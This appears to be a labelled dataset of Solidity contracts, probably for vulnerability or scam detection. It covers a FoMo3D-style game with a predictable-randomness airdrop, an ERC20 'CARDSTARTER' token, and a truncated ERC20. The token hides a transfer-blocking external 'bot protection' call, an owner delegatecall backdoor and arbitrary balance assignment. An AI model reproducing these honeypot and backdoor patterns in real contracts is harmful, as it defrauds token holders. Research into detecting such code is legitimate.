(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,409 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract CARDSTARTER is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 10000000000000000000000000;
string public name = "CARD.STARTER";
string public symbol = "CARDS";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 2,342 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
